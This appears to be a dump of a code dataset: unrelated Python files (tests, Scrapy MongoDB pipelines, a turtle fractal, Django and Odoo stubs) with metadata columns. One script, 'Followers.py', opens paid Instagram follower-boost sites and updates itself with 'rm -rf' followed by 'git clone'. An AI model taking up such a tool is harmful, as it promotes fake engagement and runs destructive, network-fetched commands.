= (self.el1 * self.el2) + (self.el1 * self.el3) try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), "'data2' != 'data3'") def test_composite_unequal_paths_outer(self): t1 = (self.el1 * self.el2) + (self.el1 * self.el2).relabel(group='ValA') t2 = (self.el1 * self.el2) + (self.el1 * self.el3) try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Layouts have mismatched paths.') def test_composite_unequal_paths_inner(self): t1 = (self.el1 * self.el2) + (self.el1 * self.el2.relabel(group='ValA')) t2 = (self.el1 * self.el2) + (self.el1 * self.el3) try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Overlays have mismatched paths.') def test_composite_unequal_sizes(self): t1 = (self.el1 * self.el2) + (self.el1 * self.el2) + self.el3 t2 = (self.el1 * self.el2) + (self.el1 * self.el2) try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Layouts have mismatched path counts.')
33.727273
80
0.579307
586
4,823
4.674061
0.124573
0.104783
0.160643
0.178897
0.820738
0.787514
0.785688
0.775831
0.702811
0.690398
0
0.047416
0.269749
4,823
142
81
33.964789
0.730267
0.086253
0
0.59596
0
0
0.076677
0
0
0
0
0
0.353535
1
0.161616
false
0
0.020202
0
0.191919
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a830476e66105d8278ec5905899fd86704d9d702
75
py
Python
module_2.py
VadimPolyanskii/learn_in_python_5
f66b9951ff5e5179e4811a8ce903ba1431776fab
[ "MIT" ]
null
null
null
module_2.py
VadimPolyanskii/learn_in_python_5
f66b9951ff5e5179e4811a8ce903ba1431776fab
[ "MIT" ]
null
null
null
module_2.py
VadimPolyanskii/learn_in_python_5
f66b9951ff5e5179e4811a8ce903ba1431776fab
[ "MIT" ]
null
null
null
# Модуль 2 def f2(a, b): return a * b def f3(a, b): return a - b
9.375
16
0.493333
16
75
2.3125
0.5
0.216216
0.432432
0.486486
0.540541
0
0
0
0
0
0
0.0625
0.36
75
8
17
9.375
0.708333
0.106667
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
8
b53432a6b7e3011895003c0e1d1267647eeb01a6
361
py
Python
tests/internal/architectures/test_architectures_i386_auto.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
tests/internal/architectures/test_architectures_i386_auto.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
null
null
null
tests/internal/architectures/test_architectures_i386_auto.py
frolovv/aws.ec2.compare
582805823492f833d65c0441c4a14dce697c12aa
[ "Apache-2.0" ]
1
2021-12-15T11:58:22.000Z
2021-12-15T11:58:22.000Z
# Testing module architectures.i386 import pytest import ec2_compare.internal.architectures.i386 def test_get_internal_data_architectures_i386_get_instances_list(): assert len(ec2_compare.internal.architectures.i386.get_instances_list()) > 0 def test_get_internal_data_architectures_i386_get(): assert len(ec2_compare.internal.architectures.i386.get) > 0
36.1
78
0.853186
50
361
5.78
0.36
0.352941
0.276817
0.321799
0.82699
0.615917
0.615917
0.615917
0
0
0
0.068657
0.072022
361
9
79
40.111111
0.79403
0.091413
0
0
0
0
0
0
0
0
0
0
0.333333
1
0.333333
true
0
0.333333
0
0.666667
0
0
0
0
null
1
1
1
1
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
9
b56aa47fef647c7a6cde7269432e9bc81264b089
456
py
Python
temboo/core/Library/Flickr/Places/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
7
2016-03-07T02:07:21.000Z
2022-01-21T02:22:41.000Z
temboo/core/Library/Flickr/Places/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
null
null
null
temboo/core/Library/Flickr/Places/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
8
2016-06-14T06:01:11.000Z
2020-04-22T09:21:44.000Z
from temboo.Library.Flickr.Places.FindByCoordinates import FindByCoordinates, FindByCoordinatesInputSet, FindByCoordinatesResultSet, FindByCoordinatesChoreographyExecution from temboo.Library.Flickr.Places.FindByKeyword import FindByKeyword, FindByKeywordInputSet, FindByKeywordResultSet, FindByKeywordChoreographyExecution from temboo.Library.Flickr.Places.FindByURL import FindByURL, FindByURLInputSet, FindByURLResultSet, FindByURLChoreographyExecution
114
171
0.907895
33
456
12.545455
0.545455
0.072464
0.123188
0.166667
0.210145
0
0
0
0
0
0
0
0.046053
456
3
172
152
0.951724
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
1
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b5b501dc8e51dbd367c11ba6a94221277a406e1f
6,898
py
Python
Shubham/Sg/Geid/5/5/5/5/5/9/6/8753/95555/8/5/5/38/85/55/555/5/5/5/5/5/5/5555/55555555/5/5/55/58/5/5/55/55/8/5/5/5/65/5/2/5/8*5/5/68/5/5/5/855/5/5/5/58/8/5*8*8/5*8*5*5*2*5*5*/5*5*5*5*5*/5*52*/6/6/66/6/6/Followers.py
ShuBhamg0sain/clone
4537a81b30a54f5d3213679aaadcb66750bd733e
[ "MIT" ]
1
2021-03-06T08:59:42.000Z
2021-03-06T08:59:42.000Z
Shubham/Sg/Geid/5/5/5/5/5/9/6/8753/95555/8/5/5/38/85/55/555/5/5/5/5/5/5/5555/55555555/5/5/55/58/5/5/55/55/8/5/5/5/65/5/2/5/8*5/5/68/5/5/5/855/5/5/5/58/8/5*8*8/5*8*5*5*2*5*5*/5*5*5*5*5*/5*52*/6/6/66/6/6/Followers.py
ShuBhamg0sain/clone
4537a81b30a54f5d3213679aaadcb66750bd733e
[ "MIT" ]
null
null
null
Shubham/Sg/Geid/5/5/5/5/5/9/6/8753/95555/8/5/5/38/85/55/555/5/5/5/5/5/5/5555/55555555/5/5/55/58/5/5/55/55/8/5/5/5/65/5/2/5/8*5/5/68/5/5/5/855/5/5/5/58/8/5*8*8/5*8*5*5*2*5*5*/5*5*5*5*5*/5*52*/6/6/66/6/6/Followers.py
ShuBhamg0sain/clone
4537a81b30a54f5d3213679aaadcb66750bd733e
[ "MIT" ]
2
2020-12-24T00:06:12.000Z
2021-01-01T06:01:49.000Z
#CYBER NAME BLACK-KILLER #GITHUB: https://www.instagram.com/shubham_g0sain import os CorrectUsername = "g0sain" CorrectPassword = "Followers" loop = 'true' while (loop == 'true'): username = raw_input("\033[1;96m[#] \x1b[0;36m Enter Username\x1b[1;92m➤ ") if (username == CorrectUsername): password = raw_input("\033[1;96m[#] \x1b[0;36m Enter Password\x1b[1;92m➤ ") if (password == CorrectPassword): print "Logged in successfully as " + username #fb-cloning-id SG loop = 'false' else: print "Wrong password!" os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') else: print "Wrong username!" os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') import os,sys,time,datetime,random,hashlib,re,threading,json,urllib,cookielib,getpass ##### Dev : ShuBhamg0sain##### ##### LOGO ##### import os os.system('clear') os.system("figlet -f pagga 'increase' | lolcat") os.system("figlet -f pagga 'instagram' | lolcat") os.system("figlet -f pagga 'followers' | lolcat") logo=''' \033[1;92m•◈•───────────────•◈•\033[1;92mShuBhamg0sain\033[1;96m•◈•───────────────•◈• \x1b[1;93m------------------------------------------------------------- \x1b[1;96m➣ NAME : Shubhamg0sain \x1b[1;91m➣ CYBER NAME : BLACK-KILLER \x1b[1;93m------------------------------------------------------------- ''' def menu(): print logo print print "\033[1;91mserver list " print "\033[1;96m[1] page server 1" print "\033[1;96m[2] page server 2" print "\033[1;96m[3] page server 3" print "\033[1;96m[4] page server 4" print "\033[1;96m[5] page server 5" print "\033[1;96m[6] page server 6" print "\033[1;91m[7] follow me" print "\033[1;91m[8] UPDATE SCRIPT" print "\033[1;91m[0] FOR EXIT" print 50*'-' action() def action(): bch = raw_input('\n ENTER SERVER NUMBER ') if bch =='': print "\033[1;91mFill in correctly" os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') action() elif bch =="1": os.system('xdg-open https://bayitakipci.com/memberlogin') os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="2": os.system('xdg-open https://begeni.vip/girisyap') os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="3": os.system('xdg-open https://gramtakipci.com/loginyap') os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="4": os.system('xdg-open https://turktakipcihilesi.com/giriss') os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="5": os.system('xdg-open https://instahile.com') os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="6": os.system('xdg-open https://nakrutka.com/') os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="7": os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="8": os.system("cd") os.system("cd") os.system("rm -rf Increase-Instagram-followers") os.system("git clone https://github.com/ShuBhamg0sain/Increase-Instagram-followers.git") os.system("cd Increase-Instagram-followers") os.system("python2 S.py") elif bch =='0': os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') exb() else: print '[!] Fill in correctly' action() raw_input('\n[Press Enter To Go Back]') os.system("python2 S.py") if __name__ == '__main__': menu() print "\033[1;91mserver list " print "\033[1;96m[1] page server 1" print "\033[1;96m[2] page server 2" print "\033[1;96m[3] page server 3" print "\033[1;96m[4] page server 4" print "\033[1;96m[5] page server 5" print "\033[1;96m[6] page server 6" print "\033[1;91m[7] follow me" print "\033[1;91m[8] UPDATE SCRIPT" print "\033[1;91m[0] FOR EXIT" print 50*'-' action() def action(): bch = raw_input('\n ENTER SERVER NUMBER ') if bch =='': print "\033[1;91mFill in correctly" os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') action() elif bch =="1": os.system('xdg-open https://bayitakipci.com/memberlogin') os.system("python2 S.py") elif bch =="2": os.system('xdg-open https://begeni.vip/girisyap') os.system("python2 S.py") elif bch =="3": os.system('xdg-open https://gramtakipci.com/loginyap') os.system("python2 S.py") elif bch =="4": os.system('xdg-open https://turktakipcihilesi.com/giriss') os.system("python2 S.py") elif bch =="5": os.system('xdg-open https://instahile.com') os.system("python2 S.py") elif bch =="6": os.system('xdg-open https://nakrutka.com/') os.system("python2 S.py") elif bch =="7": os.system('xdg-open https://www.instagram.com/shubham_g0sain/?hl=en') os.system("python2 S.py") elif bch =="8": os.system("cd") os.system("cd") os.system("rm -rf Increase-Instagram-followers") os.system("git clone https://github.com/ShuBhamg0sain/Increase-Instagram-followers.git") os.system("cd Increase-Instagram-followers") os.system("python2 S.py") elif bch =='0': exb() else: print '[!] Fill in correctly' action() raw_input('\n[Press Enter To Go Back]') os.system("python2 S.py") if __name__ == '__main__': menu()
38.752809
104
0.506524
839
6,898
4.1764
0.152563
0.130137
0.078482
0.107021
0.830765
0.819349
0.795091
0.795091
0.795091
0.77968
0
0.060606
0.320673
6,898
177
105
38.971751
0.677337
0.016237
0
0.833333
0
0.013333
0.45593
0.050133
0
0
0
0
0
0
null
null
0.033333
0.02
null
null
0.206667
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
a93052127c2dc1611729076fe753d30f16e3e5b2
1,869
py
Python
nyx_abc/subjects/main.py
has256/nyx-abc
90c284eff9e621abbd5fe4ee5b4d764d52028b4e
[ "MIT" ]
4
2021-05-20T17:03:03.000Z
2022-01-20T12:55:49.000Z
nyx_abc/subjects/main.py
has256/nyx
90c284eff9e621abbd5fe4ee5b4d764d52028b4e
[ "MIT" ]
null
null
null
nyx_abc/subjects/main.py
has256/nyx
90c284eff9e621abbd5fe4ee5b4d764d52028b4e
[ "MIT" ]
null
null
null
import click import pandas as pd import os @click.command('ementas') @click.argument('disciplina') @click.option('--bibliografia', is_flag=True) def ementas(disciplina, bibliografia): """Utilitarios de Ementas""" ementas = pd.read_excel( "https://github.com/EduRenesto/ufabc-manpages/blob/master/disciplinas.xlsx?raw=true") query = ementas.query( f'DISCIPLINA.str.contains("{disciplina}")', engine='python') for index, row in query.iterrows(): click.secho(row.DISCIPLINA + ":", fg='blue') click.secho( f"TPI: {row.TPI}, Recomendação: {row.RECOMENDAÇÃO}", fg='red') if bibliografia: click.secho("Bibliografia Sugerida:", fg='green', underline=True) click.secho(f"{row['BIBLIOGRAFIA BÁSICA']}\n", fg='green') click.secho("Ementa:", fg='green', underline=True) click.secho(f"{row.EMENTA}\n", fg='green') click.secho(f"-"*78, fg='yellow') @click.command('ementas') @click.argument('disciplina') @click.option('--bibliografia', is_flag=True) def baixar_ementa(disciplina, bibliografia): """Utilitarios de Ementas""" ementas = pd.read_excel( "https://github.com/EduRenesto/ufabc-manpages/blob/master/disciplinas.xlsx?raw=true") query = ementas.query( f'DISCIPLINA.str.contains("{disciplina}")', engine='python') for index, row in query.iterrows(): click.secho(row.DISCIPLINA + ":", fg='blue') click.secho( f"TPI: {row.TPI}, Recomendação: {row.RECOMENDAÇÃO}", fg='red') if bibliografia: click.secho("Bibliografia Sugerida:", fg='green', underline=True) click.secho(f"{row['BIBLIOGRAFIA BÁSICA']}\n", fg='green') click.secho("Ementa:", fg='green', underline=True) click.secho(f"{row.EMENTA}\n", fg='green') click.secho(f"-"*78, fg='yellow')
40.630435
93
0.635099
225
1,869
5.253333
0.257778
0.118443
0.07445
0.067682
0.954315
0.954315
0.954315
0.954315
0.954315
0.954315
0
0.002623
0.184056
1,869
45
94
41.533333
0.772459
0.024077
0
0.871795
0
0.051282
0.346387
0.043023
0
0
0
0
0
1
0.051282
false
0
0.076923
0
0.128205
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a937f3d4be946be0c9f9995094e4d93c3f11fbe3
11,212
py
Python
xianyu/pipelines.py
digitalghost/xianyu_crawler
d9b4eba2798e6a43955cd5f42b5194ca0a28cfc8
[ "MIT" ]
null
null
null
xianyu/pipelines.py
digitalghost/xianyu_crawler
d9b4eba2798e6a43955cd5f42b5194ca0a28cfc8
[ "MIT" ]
null
null
null
xianyu/pipelines.py
digitalghost/xianyu_crawler
d9b4eba2798e6a43955cd5f42b5194ca0a28cfc8
[ "MIT" ]
null
null
null
import json import codecs import pymongo from urllib import unquote import urlparse import datetime import time import logging import copy class XianyuPipeline(object): def open_spider(self, spider): self.file =codecs.open('items_data_utf8.json','wh',encoding='utf-8') def close_spider(self, spider): self.file.close() def process_item(self,item,spider): line = json.dumps(dict(item)) + '\n' self.file.write(line.decode("unicode_escape")) return item class MongoPipeline(object): def __init__(self, mongo_uri, mongo_db): self.mongo_uri = mongo_uri self.mongo_db = mongo_db logger = logging.getLogger(__name__) self.logger = logger @classmethod def from_crawler(cls, crawler): return cls( mongo_uri = crawler.settings.get('MONGO_URI'), mongo_db = crawler.settings.get('MONGO_DATABASE','items') ) def open_spider(self, spider): self.client = pymongo.MongoClient(self.mongo_uri) self.db = self.client[self.mongo_db] def close_spider(self,spider): for val in spider.custom_settings['SEARCH_CRITERIA']: q = val['q'].decode('gbk') cache_key = 'cache_' + q self._save_batch_by_key(cache_key,spider,q) self.client.close() def process_item(self,item,spider): url = str(item['url']) qs = urlparse.urlsplit(url).query q = unquote(urlparse.parse_qs(qs)['q'][0]).decode('gbk') cache_key = "cache_" + q items_cache = spider.crawler.stats.get_value(cache_key) if items_cache == None: spider.crawler.stats.set_value(cache_key,[]) items_cache = spider.crawler.stats.get_value(cache_key) items_cache.append(item) if len(items_cache) == spider.custom_settings['BATCH_MONGO_SAVE_CNT']: self._save_batch_by_key(cache_key,spider,q) return item def _save_batch_by_key(self,data_key,spider,q): data = spider.crawler.stats.get_value(data_key) if data == None or len(data) == 0: return data = copy.deepcopy(data) spider.crawler.stats.set_value(data_key,[]) query = {"keyword":q,"request_id":spider.crawler.stats.get_value("request_id")} result = self.db[q].find_one(query) if result != None: self.db[q].update(query, {'$push': {'items': {'$each':data}}}) else: new_doc = { "keyword":q, "request_id":spider.crawler.stats.get_value("request_id"), "last_modified": datetime.datetime.utcnow(), "items":data } self.db[q].insert_one(new_doc) def process_item2(self,item,spider): url = str(item['url']) qs = urlparse.urlsplit(url).query q = unquote(urlparse.parse_qs(qs)['q'][0]).decode('gbk') new_doc = { "keyword":q, "request_id":spider.crawler.stats.get_value("request_id"), "last_modified": datetime.datetime.utcnow(), "items":[item] } #query = {'xianyu_id':item['xianyu_id']} #self.db[q].update(query, item,upsert=True) query = {"keyword":q,"request_id":spider.crawler.stats.get_value("request_id")} if result != None: self.db[q].update(query, {'$push': {'items': item}}) else: self.db[q].insert_one(new_doc) return item class ExchangeTotalSavePipeline(object): mongo_uri = None mongo_db = None client = None db = None logger = None def __init__(self, mongo_uri, mongo_db): self.mongo_uri = mongo_uri self.mongo_db = mongo_db self.client = None self.db = None @classmethod def from_crawler(cls, crawler): return cls( mongo_uri = crawler.settings.get('MONGO_URI'), mongo_db = crawler.settings.get('MONGO_DATABASE','items') ) def open_spider(self, spider): logger = logging.getLogger(__name__) self.logger = logger pass def close_spider(self, spider): #Iterate for search criteria to calculate the exchange info for cri in spider.settings.get('SEARCH_CRITERIA'): keyword = cri['q'].decode('gbk') self.client = pymongo.MongoClient(self.mongo_uri) self.db = self.client[self.mongo_db] coll = self.db[keyword] coll_exchange = self.db[keyword + '_exchange'] #for request in coll.find(): # requests.append(request) #for req_idx,request in enumerate(requests): req_idx = 0 request_prev = None for request in coll.find(): if req_idx == 0 : req_idx = req_idx + 1 request_prev = request continue increase_items = [] decrease_items = [] items1 = request_prev['items'] items2 = request['items'] for item1 in items1: founded = False for item2 in items2: if item1['xianyu_id'] == item2['xianyu_id']: founded = True if founded == True: continue else: decrease_items.append(item1) for item2 in items2: founded = False for item1 in items1: if item2['xianyu_id'] == item1['xianyu_id']: founded = True if founded == True: continue else: increase_items.append(item2) self.logger.info("Request " + str(req_idx-1) + " and Request " + str(req_idx)) self.logger.info("+ " + str(len(increase_items)) + " items") if len(increase_items) != 0: for item in increase_items: self.logger.info("**+item: " + item['title']) self.logger.info("- " + str(len(decrease_items)) + " items") if len(decrease_items) != 0: for item in decrease_items: self.logger.info("**-item: " + item['title']) self.logger.info("==================================") exchange_id = keyword + '_' + str(request_prev['last_modified']) + str(request['last_modified']) coll_exchange.update( { "exchange_id": exchange_id}, {'exchange_id':exchange_id, 'inc':increase_items, 'dec':decrease_items, 'compare_start':request_prev['last_modified'], 'compare_end':request['last_modified']}, True) req_idx = req_idx + 1 request_prev = request self.client.close() self.logger.info("Exchange Save close," + keyword) class ExchangeSavePipeline(object): mongo_uri = None mongo_db = None client = None db = None logger = None def __init__(self, mongo_uri, mongo_db): self.mongo_uri = mongo_uri self.mongo_db = mongo_db self.client = None self.db = None @classmethod def from_crawler(cls, crawler): return cls( mongo_uri = crawler.settings.get('MONGO_URI'), mongo_db = crawler.settings.get('MONGO_DATABASE','items') ) def open_spider(self, spider): logger = logging.getLogger(__name__) self.logger = logger pass def close_spider(self, spider): #Iterate for search criteria to calculate the exchange info for cri in spider.settings.get('SEARCH_CRITERIA'): keyword = cri['q'].decode('gbk') self.client = pymongo.MongoClient(self.mongo_uri) self.db = self.client[self.mongo_db] coll = self.db[keyword] coll_exchange = self.db[keyword + '_exchange'] #for request in coll.find(): # requests.append(request) #for req_idx,request in enumerate(requests): req_idx = 0 request_next = None itr = coll.find({},sort=[("last_modified", pymongo.DESCENDING)],limit=2) for request in itr : if req_idx == 0 : req_idx = req_idx + 1 request_next = request continue increase_items = [] decrease_items = [] items1 = request['items'] items2 = request_next['items'] for item1 in items1: founded = False for item2 in items2: if item1['xianyu_id'] == item2['xianyu_id']: founded = True if founded == True: continue else: decrease_items.append(item1) for item2 in items2: founded = False for item1 in items1: if item2['xianyu_id'] == item1['xianyu_id']: founded = True if founded == True: continue else: increase_items.append(item2) self.logger.info("Request " + str(req_idx-1) + " and Request " + str(req_idx)) self.logger.info("+ " + str(len(increase_items)) + " items") if len(increase_items) != 0: for item in increase_items: self.logger.info("**+item: " + item['title']) self.logger.info("- " + str(len(decrease_items)) + " items") if len(decrease_items) != 0: for item in decrease_items: self.logger.info("**-item: " + item['title']) self.logger.info("==================================") exchange_id = keyword + '_' + str(request['last_modified']) + str(request_next['last_modified']) coll_exchange.update( { "exchange_id": exchange_id}, {'exchange_id':exchange_id, 'inc':increase_items, 'dec':decrease_items, 'compare_start':request['last_modified'], 'compare_end':request_next['last_modified']}, True) self.client.close() self.logger.info("Exchange Save close")
41.525926
112
0.50223
1,152
11,212
4.681424
0.124132
0.029668
0.036343
0.027258
0.829223
0.782496
0.770629
0.74504
0.718524
0.672909
0
0.007547
0.38548
11,212
269
113
41.680297
0.775181
0.035141
0
0.753086
0
0
0.089656
0.006292
0
0
0
0
0
1
0.074074
false
0.00823
0.037037
0.012346
0.197531
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
8d17cd47fe81e439fd9218b545cca90aae0286ac
200
py
Python
quero/offer/admin.py
felipewove/quero-listar
36ba93eb45528a83d8cf72f588e4d0829da9fb60
[ "CC0-1.0" ]
null
null
null
quero/offer/admin.py
felipewove/quero-listar
36ba93eb45528a83d8cf72f588e4d0829da9fb60
[ "CC0-1.0" ]
null
null
null
quero/offer/admin.py
felipewove/quero-listar
36ba93eb45528a83d8cf72f588e4d0829da9fb60
[ "CC0-1.0" ]
null
null
null
from django.contrib import admin from . import models admin.site.register(models.Offer) admin.site.register(models.Course) admin.site.register(models.Campus) admin.site.register(models.University)
20
38
0.815
28
200
5.821429
0.428571
0.220859
0.417178
0.564417
0
0
0
0
0
0
0
0
0.075
200
9
39
22.222222
0.881081
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
8d49b98b10a41d698a30cde12249ecf085a4a21e
833
py
Python
controllers/controllers.py
Xaymasn/sunu_association
759c2d5f61758fe8d4838fe3d0b8c80c3c76860d
[ "MIT" ]
null
null
null
controllers/controllers.py
Xaymasn/sunu_association
759c2d5f61758fe8d4838fe3d0b8c80c3c76860d
[ "MIT" ]
null
null
null
controllers/controllers.py
Xaymasn/sunu_association
759c2d5f61758fe8d4838fe3d0b8c80c3c76860d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from odoo import http # class SunuAssociation(http.Controller): # @http.route('/sunu_association/sunu_association/', auth='public') # def index(self, **kw): # return "Hello, world" # @http.route('/sunu_association/sunu_association/objects/', auth='public') # def list(self, **kw): # return http.request.render('sunu_association.listing', { # 'root': '/sunu_association/sunu_association', # 'objects': http.request.env['sunu_association.sunu_association'].search([]), # }) # @http.route('/sunu_association/sunu_association/objects/<model("sunu_association.sunu_association"):obj>/', auth='public') # def object(self, obj, **kw): # return http.request.render('sunu_association.object', { # 'object': obj # })
41.65
128
0.630252
89
833
5.741573
0.370787
0.410959
0.223092
0.35225
0.485323
0.412916
0.336595
0
0
0
0
0.001488
0.193277
833
20
129
41.65
0.758929
0.931573
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
8d798493e0a371b4a886f84f057f454f2196c3a5
4,931
py
Python
Tree of life.py
Tonumoy/Fractal-Art
ef3269fc4c214d306f20af0ef2f1f1248a2c9e97
[ "MIT" ]
33
2020-07-18T18:32:27.000Z
2022-02-24T20:01:16.000Z
Tree of life.py
deastrobooking/Fractal-Art
ef3269fc4c214d306f20af0ef2f1f1248a2c9e97
[ "MIT" ]
null
null
null
Tree of life.py
deastrobooking/Fractal-Art
ef3269fc4c214d306f20af0ef2f1f1248a2c9e97
[ "MIT" ]
26
2020-11-01T15:13:29.000Z
2022-02-19T21:16:26.000Z
# Developer - Tonumoy Mukherjee import turtle as tu roo = tu.Turtle() #Turtle object wn = tu.Screen() #Screen Object wn.bgcolor("black") #Screen Bg color wn.title("Fractal Tree Pattern") roo.left(90) #moving the turtle 90 degrees towards left roo.speed(20)#setting the speed of the turtle def draw(l): #recursive function taking length 'l' as argument if(l<10): return else: roo.pensize(2) #Setting Pensize roo.pencolor("yellow") #Setting Pencolor as yellow roo.forward(l) #moving turtle forward by 'l' roo.left(30) #moving the turtle 30 degrees towards left draw(3*l/4) #drawing a fractal on the left of the turtle object 'roo' with 3/4th of its length roo.right(60) #moving the turtle 60 degrees towards right draw(3*l/4) #drawing a fractal on the right of the turtle object 'roo' with 3/4th of its length roo.left(30) #moving the turtle 30 degrees towards left roo.pensize(2) roo.backward(l) #returning the turtle back to its original psition draw (20) # drawing 20 times roo.right(90) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor("magenta") #magenta roo.forward(l) roo.left(30) draw(3*l/4) roo.right(60) draw(3*l/4) roo.left(30) roo.pensize(2) roo.backward(l) draw (20) roo.left(270) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor("red") #red roo.forward(l) roo.left(30) draw(3*l/4) roo.right(60) draw(3*l/4) roo.left(30) roo.pensize(2) roo.backward(l) draw (20) roo.right(90) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor('#FFF8DC') #white roo.forward(l) roo.left(30) draw(3*l/4) roo.right(60) draw(3*l/4) roo.left(30) roo.pensize(2) roo.backward(l) draw(20) ######################################################## def draw(l): if(l<10): return else: roo.pensize(3) roo.pencolor("lightgreen") #lightgreen roo.forward(l) roo.left(30) draw(4*l/5) roo.right(60) draw(4*l/5) roo.left(30) roo.pensize(3) roo.backward(l) draw (40) roo.right(90) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(3) roo.pencolor("red") #red roo.forward(l) roo.left(30) draw(4*l/5) roo.right(60) draw(4*l/5) roo.left(30) roo.pensize(3) roo.backward(l) draw (40) roo.left(270) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(3) roo.pencolor("yellow") #yellow roo.forward(l) roo.left(30) draw(4*l/5) roo.right(60) draw(4*l/5) roo.left(30) roo.pensize(3) roo.backward(l) draw (40) roo.right(90) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(3) roo.pencolor('#FFF8DC') #white roo.forward(l) roo.left(30) draw(4*l/5) roo.right(60) draw(4*l/5) roo.left(30) roo.pensize(3) roo.backward(l) draw (40) ######################################################## def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor("cyan") #cyan roo.forward(l) roo.left(30) draw(6*l/7) roo.right(60) draw(6*l/7) roo.left(30) roo.pensize(2) roo.backward(l) draw (60) roo.right(90) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor("yellow") #yellow roo.forward(l) roo.left(30) draw(6*l/7) roo.right(60) draw(6*l/7) roo.left(30) roo.pensize(2) roo.backward(l) draw (60) roo.left(270) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor("magenta") #magenta roo.forward(l) roo.left(30) draw(6*l/7) roo.right(60) draw(6*l/7) roo.left(30) roo.pensize(2) roo.backward(l) draw (60) roo.right(90) roo.speed(2000) #recursion def draw(l): if(l<10): return else: roo.pensize(2) roo.pencolor('#FFF8DC') #white roo.forward(l) roo.left(30) draw(6*l/7) roo.right(60) draw(6*l/7) roo.left(30) roo.pensize(2) roo.backward(l) draw(60) wn.exitonclick()
18.820611
103
0.517745
711
4,931
3.590717
0.111111
0.076772
0.084606
0.082256
0.801018
0.801018
0.792009
0.792009
0.781825
0.760674
0
0.081203
0.325695
4,931
261
104
18.89272
0.686617
0.153113
0
0.951456
0
0
0.024342
0
0
0
0
0
0
1
0.058252
false
0
0.004854
0
0.121359
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a5f57072b31cca7837efa6772550f75f39e6a264
2,295
py
Python
predefined/Hann1999_Glaxo/makexml.py
sunghunbae/filter
1626c82ec9bf359ac6a0a09940e98580f13edbe8
[ "MIT" ]
2
2019-02-08T00:41:28.000Z
2019-03-19T14:15:31.000Z
predefined/Hann1999_Glaxo/makexml.py
hmyang9223/filter
1626c82ec9bf359ac6a0a09940e98580f13edbe8
[ "MIT" ]
null
null
null
predefined/Hann1999_Glaxo/makexml.py
hmyang9223/filter
1626c82ec9bf359ac6a0a09940e98580f13edbe8
[ "MIT" ]
1
2019-02-08T00:41:46.000Z
